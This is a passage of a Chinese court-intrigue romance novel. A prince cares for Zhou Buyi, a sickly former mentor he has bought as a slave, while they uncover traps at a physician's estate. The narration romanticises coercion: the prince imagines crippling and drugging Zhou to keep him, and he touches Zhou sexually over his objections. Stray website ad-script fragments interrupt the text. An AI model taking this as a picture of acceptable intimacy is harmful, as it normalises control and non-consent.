“经确认,您在诏狱最深处见到的那个老人,就是徐川无疑”,有侍女路过,门夫压低了帽檐,转口道,“您要去看看花么?那边栽了些丑菊,不过要小心蜜蜂。” “随你。” 侍女并未起疑心,只是对着周卜易一提裙,行礼,道,“公子莫要出府,也莫要走远,要不王爷该生气了。” 周卜易轻轻点头。 那侍女又对着门夫道,“仔细点,别叫虫儿蜂儿的惊了公子,你我都担待不起。” 见门夫也点头,那侍女就匆匆离开了。 “徐归山自奉源三年失踪,想来那时便入了诏狱”,门夫继续用腹语,小心翼翼问了声,“您此次入狱,是……” “清理腌臜”,美人神色很淡,似乎在谈花说月一般漫不经心,“徐归山死了,我亲手送走了他。” “这……”门夫忽然意识到自己不该多嘴,立刻转移了话题,“徐川出卖了我们?” “不”,周卜易忽然轻笑,“公主曾经告诉我,十八年前,他因为害怕,带着徐家逃了。” “他还没逃出朝歌国界,就被顾君颐下令抓回。” “他在诏狱待了十八年也不敢招出一个字”,周卜易继续笑,明明是人畜无害的笑容,却令人毛骨悚然,“有人会让他生不如死。” ——这是敲打和警告! 门夫汗毛倒竖,冷汗流了满背脊,“大人放心,辰永远追随大人,不敢背叛。” “长兴”,周卜易伸手抚过一朵花,“你说错了。” “你该忠于殿下,永不背叛。” “是”,傅辰肃然,“长兴记住了。” “必要时候,你手中的刀,要毫不犹豫对准我的心口。” “大人……”傅辰连腹语都忘了用,直接开口,“您……” 周卜易食指摸了摸扒着花叶的一只肥胖蜜蜂,“做不到,就滚去面壁,什么时候想通谁才是你主子,什么时候滚回来做事。” “是……”傅辰将周卜易推到树荫下,轻声,“长兴不能离开太久,门房那边找不到人,会很麻烦。” 周卜易没理,目光只盯着趴在手心的蜜蜂。 傅辰很快离开,只留周卜易一个人在树下。 周卜易屈指,弹飞了那只肥嘟嘟的蜜蜂。 顾棉没睡多久就醒了,他不习惯在白天睡觉,只是彻夜不眠有些熬不住,才小憩了一会儿。 他站在檐下,看着树影婆娑。 光和影 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 交错打在周卜易盖着毯子的腿上。 ——那双腿曾彻夜彻夜跪过针板。 他跪了多久?一周?一个月?或是更久? 顾棉怎么也控制不住心头酸涩,悄悄红了眼眶。 顾棉想,他这不是心疼,只是周卜易毕竟被他买了,现在是他的所有物,他只是不想自己的东西破破烂烂的罢了。 游丝刀到底在哪…… 顾棉走到树下,槐树的花香不浓不淡,正是最沁人心脾。 他推着轮椅,低头看周卜易。 周卜易闭着眼睛,也不知道是不是睡着了。 顾棉松开右手,只用左手推着轮椅。 他的右手,放在周卜易头顶。 ——怎么还发烧了呢? 顾棉想,那关他什么事,周卜易就是烧死了,那也是这混蛋活该。 “许永元”,顾棉边走边道,“去地窖找坛烈一点儿的酒,装葫芦里。” 他推着人一直走到府门口,许永元才小跑着递上了葫芦。 顾棉接过葫芦,三两下利索寄在腰间。 前面有台阶,顾棉把美人抱起来,门前早有马车在等,他下了台阶直接钻进了马车。 两个家丁抬起不算轻的轮椅,放进马车另一头。 周卜易还是不睁眼,只是蹙起眉头,似乎不太舒服。 顾棉往前挪了一点,身体后仰,腰部腾空,让美人趴在他怀里。 这个姿势虽然很累,但好在路不算特别长。 顾棉一边磨牙,一边恨恨地想着——本王不过是怕你死了! 也许是自己都觉得荒唐吧,顾棉自嘲笑笑,忍不住伸手抚摸周卜易苍白中带着一点不正常潮红的脸。 红白分明,无处不透露着病态。 顾棉想,自己大抵是疯了,如果他没疯,为什么要隔一会儿就去摸摸周卜易额头? 他一定是疯了,才会明知周卜易是皇上的人,还要把他带在身边。 他一定是疯了,才会管这奸细的死活。 他一定是……疯了,才会…喜欢这混蛋喜欢得要发疯…… 顾棉深深叹息,带着些许对命运的妥协。 “我不管你是谁的人,你现在都是本王的了……” “你认命吧周卜易”,顾棉也不知自己的语气到底是命令还是哀求,“顾君颐不要你了,你最好死了为他效力的心。” “本王也不要你做什么”,顾棉又一次将手背放在美人额角,“能给本王暖暖榻就行了……” 顾棉想,如果这是周卜易跟顾君颐的苦肉计怎么办? 多年隐忍功亏一篑吗? ——他怎么越烧越凶了。 顾棉拧开葫芦嘴儿,倒了一点在手心,用酒擦美人后颈。 手指摩挲到那朵鸢尾花的时候,顾棉想,如果真是那样。 本王认栽。 周卜易这毒药,沾上了就留瘾。 瘾太大,他戒不掉。 如果有一天,周卜易真的要站在他的对立面…… 顾棉有些偏执地想着,那就直接打断周卜易的手脚,废掉他一切行动能力,给他灌一肚子哑药,然后时时刻刻把他圈在自己身边。 ——没关系的先生,饮了麻沸散不会很疼,忍一忍就过去了。 以后阿棉做您的腿,想去哪,阿棉都抱着您走。 12. 这是要本王的命啊 华府门前围了很多人,周卜易掀开眼皮瞟了一眼,又很快闭上。 来的人里,他看到了不少诸国留在朝歌的使节。 马车和人流向两边分开,顾棉一路畅通无阻进了华府,那些被拦在门外的人则眼神各异。 ——怎么来了这么多人? 顾棉压下心头疑惑,抱着周卜易下了马车。 华府的家丁上前,抬下轮椅。 今日的风有点潮闷,夜间可能又要下雨。 夏秋之交就是这样的,雨来的快也不打招呼,去的时候更是突然,最好的法子就是随身带着油纸伞。 顾棉把伞放到美人腿上,让人抱着。 他自己则推着轮椅,从台阶侧面石敢当那推着美人上坡。 华云舒亲自迎到门口,他的眼睛扫过周卜易的脸,很突然的,就添了点心虚。 美人似笑非笑,“怎么不请王爷进去呢?都走到面前来了,是准备请的吧?” 华云舒眼皮子一跳,这话里听着怎么带刺啊…… “这…这是自然,恭迎容王殿下大驾,寒舍真是蓬荜生辉、蓬荜生辉哈哈哈……” 顾棉摆足了纨绔的架子,看都不看华云舒一眼,旁若无人进了华府。 “华云舒,你总算肯出来了?”等候的众人中,有一矮胖矮胖之人忽然开口,“华神医救过老子,老子跟他也算得上是过命的交情,找你要点东西,不过分吧?” ——岂止是过分,简直厚颜无耻! 华云舒脸色铁青,“抱歉,云舒无能,未得神医传承,那柄游丝刀家父也并未传给……” “少爷,升仙会已经准备好了……”一个家丁忽然上前耳语道。 华云舒难看的脸色缓解了些,谋事在即,他不希望出现任何差错。 尤其……大人就在这里看着…… “诸位,升仙会即刻开始,请随云舒入府!” “家父升仙前曾留下一段文字,此前派人誊抄送给各位……” 离人群越来越远了,耳边的争执声却愈演愈烈。 顾棉忽然道,“九月初六……” ——初四五六,仙宫见我。 今日正好就是初六! “死人复生……”顾棉轻喃,“这真的可能吗……” “去看看华山泉尸体不就知道了”,周卜易语气很淡,“开棺、掘坟,或者,华山泉并未下葬。” “从进府起,奴就觉得那个房间味道很奇怪”,美人抬手指了个方向,“爷是看还是不看呢?” 顾棉没说话,一边推着周卜易往那个方向走,一边冷声道,“鼻子这么灵,养你果然比养条狗好使。” 美人轻轻皱眉,手指攥了一下,又松开,笑,“不想去就不去,爷不如就打道回府。” “回去吧”,美人眉目间毫不掩饰厌倦,“这儿的闹剧没多大意思。” ——回去吧,臣没那条件,奶不了孩子。 顾棉握紧了拳头,多么像,多么像那时的语气! 那年他弄了一手伤,才捣鼓出那么一盅鸡汤。 周卜易刚从战场上回来,带着满身伤痕入宫复命。 顾君颐不见他,深冬啊,周卜易就这么跪在御书房门外,长拜不起。 他说,边南关的战士要挺不住了。 他说,今年死了好多人,不是打仗死的,是冻死的,是饿死的。 他说,边南王已经变卖了所有家产,连边南关那边的王府都抵押充军了。 他的眼神很冷,叫人看不出情绪,“陛下再不发军饷,臣为了边南三十万将士性命,不得不领兵出征了!” 书房里飞出来一本折子,就砸在周卜易脸上。 腰腹上的口子还没来得及处理,鲜血染红了御书房门前的雪地。 直到天亮,周卜易才回到边南王府。 顾泽舟还在边关,战事吃紧,周卜易是回来求援的。 不给兵马,给点粮草也行啊…… 冻死、饿死的人真的好多好多,他看着巨坑里瘦骨嶙峋的尸体,多到数不清。 一铲又一铲土盖住他们沾满血污的脸。 分不清眼下是否有血泪。 顾棉坐在台阶上,怀里抱着鸡汤,小脑袋瓜子一点一点。 昨日傍晚母妃告诉他先生回来了,他可高兴了。 御书房不让去,那他就在小皇叔府上等! 等啊等啊,等了一整夜,他两眼皮子打架,一不留神就睡过去了。 周卜易冷眼看着他,“哪里来的乞儿?很不幸,你来错了时候,没饭给你讨。” 顾棉睁开睡眼朦胧的眼睛,眉眼弯弯露出一个甜甜的笑。 “不讨饭……” 等先生回来的时候,他只觉得满心迫切。 如今先生在他眼前,他却怯了。 他像个小姑娘一样害羞,红着脸双手递过鸡汤,“接…接风……” 他像是怕周卜易听不明白,又补充道,“给您接风……” “我听说先生回来,没有人接,我……” 盖子被揭起,里面哪儿有什么鸡汤,只有一大块圆圆的夹着鸡肉早就凝固的油脂。 “呵——”周卜易笑容那么凉那么凉,冻得他心脏都快跳不动了。 “是…是天太冷了,冻住了,热一热就……” 周卜易两根指头夹着碗沿儿,把它拎起来,然后…… 他松开了手。 ——寒了的人心,凝固的人血,还能热化吗? 周卜易不知道。 碗碎了。 顾棉的眼泪瞬间夺眶而出——先生怎么可以…怎么可以这样坏。 顾棉伸手要去拉周卜易的袖子。 周卜易稍一用力,就将他甩出老远老远。 “回去吧殿下,我这里不伺候喜欢哭鼻子的小鬼。” 他听见周卜易的声音,是那么那么的无情。 “本王有说不去吗?”顾棉越想越气,有些往事就不能回忆!回忆起来只会心里发堵! “本王要做什么你无需置喙,你只需要听话,然后安安分分待着。” 这里人多眼杂,难保周卜易不会趁此机会给顾君颐传点什么消息。 顾棉拒绝了想要帮忙的华府下人,每一个经过周卜易身边并停留超过三息的人都会收获他凉凉的怀疑目光。 “爷这醋吃的”,周卜易轻笑,“有点过头了吧?” 顾棉声音低沉,“难说。” 美人越是这样打趣他,他就越是觉得这蛇蝎心肠的美人在酝酿什么坏事。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顾棉推着美人到房门口,这下连他也闻出来不对劲。 ——药味太冲了。 这里不会是熬药的伙房。 顾棉扫视一圈。 地上没有木屑,也就是说,里面没有存放柴火。 这么浓的药味,恐怕不可能是用来喝的,那样需要的药量未免也太大了些。 顾棉忽然有些理解周卜易为什么要他来这里了。 药量很大,两种可能,要么是用来泡澡,要么是用来擦身子。 什么人需要全身擦药或者干脆泡在药里? 顾棉心里基本已经可以肯定,里面绝对就是华山泉的“尸体”。 轮椅在木地板上滚动,发出咔哒咔哒的声音。 周卜易忽然叹息,“先回客房,晚上再来。” 不对头,这四周有点太静了。 华云舒他们到底在干什么? 周卜易的脸有点黑,最好别是他想的那样。 他这卧病还不到半年,有些人就开始蠢蠢欲动了啊。 ——真当他是死了吗?! 顾棉没有问为什么,听周卜易的总归不会出错。 华云舒安排的客房离这个房间很近,中间只隔了一个小院。 ——是故意的,而且,客房里似乎也有问题。 “停下,别走了”,美人那双眼睛仿佛能穿透墙壁洞息一切,“那纸条怎么说的,爷给奴念念。” 顾棉下意识就念出口,“初三……” ——初三淬火,初十朝圣。 九月初三,娴贵妃薨于上阳宫,九月初十,是他母妃的头七。 淬火是不是代表上阳,朝圣指的是尸体会在归元寺停放,面佛即朝圣。 可下一句话是初二刺绣,初一云游,这之间没有丝毫关联。 初七忌杀……明天就是初七了…… “发什么呆呢!低头!”周卜易提了一口气力喝道。 顾棉在周卜易出第一声时就看见了那抹寒光,他迅速低下头,一根纤细如发的银线擦着顾棉的头皮弹过,带走了他一根青丝,然后嵌进了身后的柱子里。 ——初七忌杀,那么其他时候呢? “爷在逛自家花园呢?”美人说了半句话,心脏就开始疼,他用力按住左胸口。 火气压不住,周卜易干脆转移话题,“门上那个八卦镜方位有问题,不是任何风水格局,银线多半就是……” “演够了吗”,顾棉俯身,一只手摩挲着美人那漂亮精致的喉结,“本王很好骗是吗。” ——什么? 周卜易愣了一下,随即想到了什么,紧咬了下唇。 ——镜子上的花纹是墨连城的手笔! 顾棉把脑袋钻进美人颈窝,“本王饶过你很多次了。” 掐着周卜易脖颈的手慢慢收紧,“你是想要本王的命呢?还是另有所图?” 顾棉手还没用半成力呢,就眼见着美人吐出一口鲜血! 顾棉的手,蓦的松了。 “你…你哪里疼?” 顾棉肉眼可见的手忙脚乱起来,看见周卜易一直捂着心口,便扒开他的手,然后用自己的手一下一下抚摸顺气。 “走…”美人一边喘气,一边艰难开口,“快进屋……” 13. 奴隶,你胆大包天 这绝不是单纯的考验,刚刚那条银线真的会要了顾棉的命! 他们之中,是不是出现了叛徒? 是谁? 周卜易紧锁着眉头,他自幼就有心疾,从前只发作过几次,突然复发他也没带药。 虽然就在神医府上,但……如果想杀顾棉的就是华家呢? “把…把门关好”,美人轻喘,“右边…右边房梁……” 顾棉凝心静神,侧耳倾听,头顶上有轻微的响声,似是老鼠在跑动。 三个人! 顾棉心脏重重一跳,这三个人轻功了得,怕是不好对付! 他蓄势待发正欲拼命,却被周卜易按住手。 “奴说…什么,爷…照…照着念…… “初…初一夜行……” ——他说什么?! 顾棉瞳孔慢慢放大,他极为复杂地看了周卜易一眼,放大声音,复述,“初一夜行,初二杀驴!” “初三初四,没灶王戏!” 楼上动静瞬间消失,隔了一会,外面有人敲门。 顾棉满脸戒备,下意识推着美人转身,把他用后背挡住。 “放松…去开门……是…是自己人。” 顾棉的目光变得有些古怪起来。 ——你的自己人,可是本王的仇人! 但他还是一步一挪地去开了门,有一劲爽便装带着面罩的人推开他直接冲进来,一看见周卜易就跪了! “大人!大人您还活着!” 周卜易的目光很冷,“谁让你们动手的?” “这…难道?”那人瞬间回头,与顾棉对视。 怎么说呢,顾棉只觉得那眼神有种莫名其妙热泪盈眶的感觉…… ——这不是皇上的人吗?为什么要用这种眼神看着他? 哪里出了问题…… 顾棉皱眉,隐隐感到不对劲,似乎有什么地方出了差池,导致他可能想错了。 “这次行动有多少人?”美人面如寒霜,冰刃一样的声音穿透两人头皮,“谁的命令?!” “是……是公主殿下!” ——什么?怎么可能?! 周卜易抬手,揉了揉心口。 苏寻雁不可能下这样的命令,看来她身边人早就被买通了! “来了多少人?” 如果那几人都在场,那么今日就将面临全部暴露的风险! “不多……连城兄察觉事态不对,劝住了那几位还在暗处的,这里除了华家就只有肖家的人。” 那还好。 北离肖家,个个都是隐匿和瞬杀的高手,眼前这肖珩更是肖家的家主。 肖珩,字允之,掠影阁天字头牌杀手。 《名器谱》第四,批语乃是离弦箭,彼岸花,壁上虎。 周卜易绞痛的心口稍微平复了一些,“把你们在门口和这屋内的所有布置都撤了……其他的不动。” 既然如此,那就将计就计,看看这次到底是谁在幕后操盘。 肖珩很快收拾好一切,消失了。 顾棉在一旁看得心惊肉跳。 茶桌上的杯子只要一拿起来,就有飞镖射出。 枕头底下藏了绳索,人一躺上去,就等同于上吊自杀。 炉子不能用,会因为“意外”爆炸。 就连地板上都处处是杀机,住在这里,可当真是步步惊心。 可以说,如果不是美人那两句话,今天他必死无疑。 他本来应该质问,再不济,也该问清楚这些日期配着后面的字词是个什么意思。 可他一句话都问不出来,刚刚的“刺客”一走,美人就歪着身子往地上呕血。 “你什么时候有的心疾……”顾棉一边按下机关收回绑带,一边掀开毯子查看。 ——满目赤红啊! 怎么……怎么这么多血啊…… “你还有什么疾,现在就一并说与本王听”,顾棉丢开毯子,他知道肖珩一定守在门外,所以很放心地要去解美人腰带。 “本王…本王去叫华云舒……” “爷要是想脑袋搬家,大可以在这华府乱逛”,美人用手背抹掉唇下血迹,“奴也再不管您了……” “你……”顾棉又握拳,可是他知道周卜易说的对,外面人又多又杂,想要他命的人绝对不在少数。 美人看着顾棉攥紧的手,冷冷一笑。 顾棉想的只是那几个党系,但周卜易想的更远,他知道顾棉要面对的绝对不止是朝歌皇室一个敌人。 “爷不服气,大可以出门试试,看看这里会不会多出个血窟窿子”,美人伸出一只手指,缓慢指向自己眉心。 他的眼神相当危险,像极了一条吐着信子的毒蛇。 “出去啊,要死趁早,记得往远点走,别死奴眼前,晦气。” 顾棉觉得自己很没出息,都已经这么大了,还是控制不住手抖。 小时候怕这喜怒无常的混蛋也就罢了,如今…… 如今…… 顾棉想,就是怕,本王也只是怕你这个讨厌鬼真的气死了罢了。 “不识好歹”,顾棉沉着声音放完狠话,就把美人抱了起来,“你哪里来的底气敢管本王!” ——你又不肯做我先生,凭什么管我。 顾棉愤恨地想着。 如果他是个河豚,大概早就已经气炸了。 偏偏他都快要炸了,周卜易还要用手指一下一下戳着他圆鼓鼓的鱼身。 周卜易捏着他的胳膊,警告意味已十足浓了。 顾棉才不管他,自顾自把他扒了个光光溜溜,然后用湿毛巾给他擦身子。 擦完小腹擦腿间的时候,美人抬起一腿似乎是要踹他…… 他眼神暗了暗,忍不住吞了口唾沫。 ——他真的很馋…… 很馋周卜易这身子…… 看见顾棉这眼神,美人眼睛里的冷厉更甚,抬脚就要往他脸上蹬。 他抓住美人脚踝,然后一点一点收敛那些欲望,拿着毛巾轻柔擦拭。 擦完一面,就把人翻过来,擦另一面。 手指在脊背间游走,周卜易真的好瘦啊…… 背上只有皮,没有肉,脊柱凸出来,腰窝深深下凹。 这么瘦,怎么能不硌人呢。 顾棉压着美人背脊,毛巾盖在他臀上,打着转儿擦拭。 像……挑逗一般。 美人这里很敏感,一直在抑制不住轻颤。 “周衍,本王提醒你,不要想太多”,顾棉又咽了口唾液,喉结上下滚动,“你现在还没有爬上本王床的资格,等你身体好了,给本王滚去睡地毯去……” ——周卜易,你从前嘲本王的话,本王通通都要还给你! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 现在算来,应是有十多年了吧? 那年顾棉被周卜易拎着在窑子里逛了一圈,回来就一直抱着周卜易的胳膊哭。 他好像在发酒疯,借着酒胆儿硬是要睡周卜易。 不给睡他就一个劲儿的哭。 周卜易被他吵得头疼,“啧”了一声,俯身问道,“殿下是打算怎么睡?嗯? ” 他吸着鼻子,嘟嘟囔囔,“抱…抱着睡,睡一夜……” “行啊,怎么不行呢。” 他眼睛一亮,自以为计谋得逞。 然后他被周卜易按在地毯上,用他自己的腰带捆着,抱着床柱睡了一夜! 天亮的时候,周卜易脸上挂着一抹恶劣的笑容,“哟,殿下酒醒了?” 看着他眼中的迷茫,周卜易笑容更加灿烂,“您昨晚上非要睡地毯,拦都拦不住,臣要抱您去榻上,您还把自个儿捆柱上了……” 美人语气带着一抹遗憾,“您看这……” 然后是没能忍住的噗嗤一笑,周卜易弯了眼尾,“睡睡地毯行了,想上臣的床啊——” “您还差远了。” 顾棉一边叫美人不许多想,一边控制不住自己胡思乱想起来。 他的手无意识地往那不可言说之地伸去。 “再往下”,美人反手握住他的腕,“奴要扇人了。” 周卜易声音里的冷冽、抗拒,在此刻仿佛都成了情欲的帮凶。 顾棉目光一沉,本来还犹犹豫豫试探着的手直接压了下去,然后慢条斯理擦拭起来,“奴隶,你胆大包天。” “你敢扇本王,本王就给你把爪子打烂。” 周衍不吭声,垂着眸子不知道在想什么。 可能是在思考往哪里埋尸不会被发现。 顾棉把美人从头到脚细致入微擦了个干干净净清清爽爽。 然后他把红透了的毛巾丢到水里,打开客房衣柜。 里面整整齐齐码着两叠衣裳,一套是他的尺码,另一套他拿起来给周卜易换上。 正正好好。 所以华云舒早就知道周卜易跟他在一起,并且一定会来。 他凭什么这么肯定? 顾棉慢慢捋顺思路,从黎阳春告知他游丝刀之事到周卜易主动跟着他住进华府。 这一切仿佛都被一只无形的大手推动着,将诸般巧合揉成必然选择。 是谁策划了这一切,又是想要从中得到什么? 顾棉抱起周卜易,把美人放回轮椅之上。 ——周卜易,是不是你? 你到底想要什么? 外面忽然传来钟声,悠扬空旷的声音一直荡到很远的地方。 世人皆知神医华山泉岐黄之术早已出神入化登峰造极。 那么,他是否已经能做到将生死玩弄股掌之间? 顾棉推着美人出门,肖珩在暗中跟随保护。 ——升仙会开始了,或许,今日便是答案。 陆陆续续有人出门,往前院走。 华府这庭院与别处不同,院里的植作都是些名贵药材。 顾棉一边走,一边想着等下要不要薅两根给美人炖汤。 所有人都在等着“神仙降凡”,唯独顾棉满心只有喂猫。 ——喝完汤,他会长点肉的对吧? 长点肉吧周卜易,本王不想再一看见你就心痛了。 14. 安坐窗前,半鬼半仙 华云舒站在高台之上,朝下方众人一拱手。 “今日来此诸位都是天下有名有脸的神医”,华云舒拿起一张边缘焦黄的残纸,“云舒请诸位来华府一叙,正是为……” “华山泉面前谁敢称神医”,一个老头摸着花白的胡子,冷哼道,“老朽不为别的,只为一观神刀游丝!” 华云舒对着那人躬身,“钱伯伯,这游丝刀确实不在小辈手上,您也知道家父是北离人,兴许……” 话还没说完,就再次被打断,开口的是一个满头黄发眼窝深陷,眼皮一直耷拉到鼻尖的老婆婆,“小辈,这里没有你说话的份,叫华山泉出来一见,莫要再装神弄鬼!” 顾棉就是在此时,推着轮椅姗姗来迟。 “何必为难个孩子”,美人病恹恹歪在轮椅上,毛绒绒的毯子盖住他小半张脸,“想见华神医,怕是有些难办。” 周卜易扫视众人一圈,目光幽深如草蟒伏田,一瞬即发,发之毙命。 他笑容很浅,“他死了呀,这么想见他的话,您几位下去陪他好了~” “你……”黄发老婆婆用拐杖使劲敲着地板,面色不虞,“你算什么东西!老身乃是蓬莱岛采仙姑!” 众人哗然,这可是海外名医,几炷香一点符灰就能生死人肉白骨的主! 他们纷纷将视线聚过来,想从周卜易脸上看到震惊和后悔的神色。 但都没有,美人目光中若有若无的鄙夷甚至愈发强烈,带着一点羞辱意味,周卜易微笑着开口,“哦,原来是采老太婆,失礼失礼。” 这一声老太婆给在场所有人都惊得头皮发麻。 ——他怎么敢的? 人活一生谁能保证自己无病无灾?何况瞧他模样,就是个病弱的。 他怎么敢这样跟一位名医说话?甚至于,他好像对他们这些人都很不屑一顾。 “老太婆,你老眼昏花了认不得我是谁了?”周卜易轻轻勾了勾手指,“来,你过来好好告诉告诉我,我是个什么东西。” 顾棉手心一紧,他不想让不相干的人离周卜易太近。 那采仙姑眯着眼睛看了许久,忽然脸色骤变,“您……” “嘘——”,美人抬起一指压在唇上,“乖,现在就收拾东西回你的蓬莱岛,别说我不念旧情见死不救。” 采仙姑没有任何犹豫,竟是直接放弃游丝刀转身就走。 “这……”剩下的人面面相觑,瞠目结舌。 先不提这病秧子到底是个什么来头,仅这一句“见死不救”就足够令人咂舌。 “神医遗言你们都没怎么看过吧?”周卜易捻了捻指尖,“游丝已经被人取走,你们啊,入他的局了。” “少在这里危言耸听!”先前的矮胖人忽然大叫,“我山下夜积身为大倭国子民,不畏惧你这些把戏!” “诸位,这个朝歌贱种一定与那老东西串通好了,先把我们都吓走,好方便他们取神刀!” “好名字”,周卜易嗤了声,“山下野鸡……难怪叫得如此呕哑难听。” “野鸡老弟说的也不无道理”,钱伯一边捋胡子,一边看倭国人乐子,还不忘添油加醋,“我朝歌贱种最喜欢与人串通了,哪里比得上倭国那种认人作父的高种族高贵。” 众人俱是脸色一变,这钱伯说的是前些日子倭国成为东鼎国附属之事,这可是往山下野鸡刀口上撒盐啊! “弹丸小国,跳蚤就是多”,钱伯上前几步,他老了,佝偻着腰,可那倭国人正值中年,竟也没他高,“老话真没说错,丑人就是喜欢多作怪!” 东鼎、朝歌、北离三国本同宗同源,自然同仇敌忾,东鼎国君这一举动可谓是大快人心。 不过东鼎那个傀儡皇帝究竟是怎么在摄政王眼皮子底下忽然崛起的,至今还是个谜。 摄政王斩首那天,东鼎国君相当失态,竟是大醉宴席之上,一直重复着什么,“此一线,彼一线,断了一线又一线!” 然后大哭了一场,涕泗横流,“鸢尾花,折竹剑,恨不当初未听劝!” 这其中缘故旁人不知,顾棉却是很清楚。 东鼎国君,十有八九还是个傀儡。 周卜易的傀儡! 顾棉忽然感到背脊有些发寒。 周卜易的水到底有多深,他似乎从未看透过! 这样一个人,怎么可能甘心受制于人,又怎么可能仅仅只是“顾泽舟客卿”这样的身份? 顾棉仔细回忆从前周卜易与顾泽舟的相处,似乎…… 顾泽舟一直都很听周卜易的话! 他的小皇叔,难道也是周卜易控制的棋子?! 周卜易掩面轻咳两声,将袖上血迹卷在手心,面不改色道,“华山泉是真的死了,尸体尚未下葬,诸位都是名医,想必对自己的医术都很是自信……” 华云舒冲着周卜易一拱手,这才有机会把方才被打断的话说完,“其实家父究竟是生是死,云舒也拿不定主意,所以这才广邀天下神医。” “或许,解开家父之死其中的隐秘,就能得知游丝刀的下落,云舒愿以此刀作为报酬!谁能找到家父的死因,谁便是游丝刀之主!” “华老哥不是寿终正寝吗?”钱伯目光深邃起来,“云舒,快带老夫去看他的尸体!” 人死了,神刀却不翼而飞。 怎么看都是有问题。 还有头七那天字迹未干的讯息,无处不透露着诡谲异常。 “给诸位提个醒”,周卜易深深看了华云舒一眼,“停尸房内有剧毒,混杂在诸多药味之中难以分辨,别不留神中招了,说出去贻笑大方。” 华云舒回避了周卜易的目光,他的嘴唇有些颤抖。 “诸位……这边请……” 钱伯从袖袋里摸出一副西洋镜,戴在满是皱纹的脸上,“不就是解毒嘛,交给老夫!” 华山泉在世时,经常跟他讨论毒术,所以他还是有些自信的。 顾棉推着周卜易跟在最后面。 “让他们捣鼓去吧”,周卜易轻声,“爷没必要蹚浑水。” “周衍”,顾棉声音低沉,似乎是担心隔墙有耳,他低头,贴着美人脸侧,几乎是有些耳鬓厮磨的意味在里面了,“游丝刀到底在哪里?” “爷就这么肯定,神医之子都不知道奴却知道?” “你早已解开了神医遗言,不是吗”,顾棉伸手,轻轻抚摸美人柔软的发丝,“只是本王不明白,华府的局,是在针对谁。” “几个沽名钓誉之辈罢了”,周卜易咳嗽了几声,“爷今夜千万要留神,别…咳咳……” 鲜血顺着嘴角溢出,顾棉沉着脸抬起袖子给他擦了。 众 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人的注意力都在剧毒跟尸体上,没人注意有两人悄无声息离开了人群,往反方向走。 只有华云舒不动声色往这边看了一眼,于心底叹息。 这本是个磨砺的好机会……大人会不会对殿下保护太过了…… 黎阳春说得不错,大人心还不够硬,有些计划,必须隐瞒他了。 只是希望黎阳春把握好分寸,别出什么岔子导致多年谋划功亏一篑。 正想着呢,肖珩便如同鬼魅一样忽然出现在华云舒身后,“初一…算了……” 他像是不耐烦再玩这谜语,直接附耳低语道,“你们在搞什么鬼?让我肖家去刺杀大人和殿下?是你疯了还是……” “什么?”华云舒左右看了看,拉着肖珩进了隔壁房间,栓上门,“不可能,我们没有这样的打算,黎阳春也并没有跟我说过这一环……” “允之,这件事情里面可能有古怪”,华云舒有些紧张,不断往门口方向看,“大人说我们入局了…莫非……” “莫非黎阳春有问题?” “不可能!”肖珩压低了声音,反驳道,“他传的是公主的命令,拿的信物也没错,而且……他虽然不在谱上,可到底也是那一脉的人……” “你放松一点别太紧张了”,肖珩神情无比认真,“既然大人已经提醒我们入局,那么今夜就要打起精神,我带人彻夜守着大人的房间,你浑水摸鱼查清楚是谁在从中作梗。” “云舒,你爹的医术你究竟学了几成?” “十成”,华云舒深吸了几口气,缓了一下,“父亲是磨刀石,我才是那只真正的离梁燕。” 所以名器谱上有关华家的批语,其实指的是两个人? “你藏挺深啊”,肖珩眼神有些幽怨,“大人身上有问题,我刚刚进去,闻到了很重的血腥味,你有没有看出什么?” 华云舒点点头,面色也凝重起来,“是鬼旋针,倭国那边的手段。” “什么?!”肖珩面露骇然,“鬼旋之下,从无活口!大人是怎么活下来的?!” “所以我父亲死了”,华云舒目光变得有些哀伤,“当日狱中,乃是家父助大人假死脱身。” “华家秘法太惹眼,各方势力很容易怀疑到我父亲头上。” “所以你在今年春上以秘法伪造神医寿终正寝的假象,神医又以同样的方式助大人在秋后问斩前脱身。” “是,这件事本来到此为止,父亲本可以隐姓埋名继续活下去,但……” 华云舒眼神中抑制不住恐惧,“他却真的死了……死因未明。” “一切就如公主的那封密信一样”,华云舒缓缓阖眸,仔细回忆,“牧童长歌,残阳如血……” “四月初五,寒食之节…… “微风拂面,细雨绵绵…… “安坐窗前,半鬼半仙……” 华云舒打了个冷战,“四月初五那天傍晚,下着小雨,我听见牧童的歌声原本没有在意,可我忽然想起来,华府在神都最北边,附近没有人家,更不可能有牧童! “那孩子的歌声就像是鬼哭一般空灵!我起身走到书房,看见家父坐在案前,桌案对面有一扇窗,窗外……一边下雨一边还能看见快落山的太阳! “残阳如血一般打在他脸上,他……他脸上的表情竟然一半是哭一半是笑!” 15. 他怎么就这么坏 雨,大了。 乌云没跟任何人打招呼,就擅自将大江灌向人间。 只是一瞬间,雨幕就跟水帘似的,坠在檐下了。 如天境坍塌,如银河倾覆,便把这无穷无尽的瑶池水一股脑斜下来。 狠狠掼在众人头顶,霎时就拍成一群落汤鸡! 这种雨势,打伞已经没有分毫作用了。 顾棉单手捧着茶杯,另一手托着周卜易脑袋,帮他漱漱口,用茶水盖住血腥气。 他十分专注,眼眸垂下来,周卜易从这个角度看过去,甚至竟觉他显得有些乖顺。 像极了小时候总缠着他的时日啊,美人偏过头,去看窗外瓢泼大雨。 黑云压着神都,这天很快就黑下来了。 泥泞的脚步声和踩水声混着哗啦啦的雨声和其他嘈杂。 外面乱了好一阵,似乎是出了什么事,窗外惊雷赫然印出一张紧贴着窗格的人脸! 是肖珩,他无声张口,对着周卜易说了什么。 “……死了。” 谁死了?怎么死的? 这些问题似乎都远去了,紧跟着是彻彻底底的昏暗。 天完全黑了。 就在那一刻,周卜易的眼神,变了。 他坐在椅上,窝在被褥中,目光却像一个饥肠辘辘要掏人心窝子的厉鬼,想要将面前的人开膛破肚吃空内脏,或者挖出脑浆子什么之类的东西,用以果腹。 很吓人,很吓人。 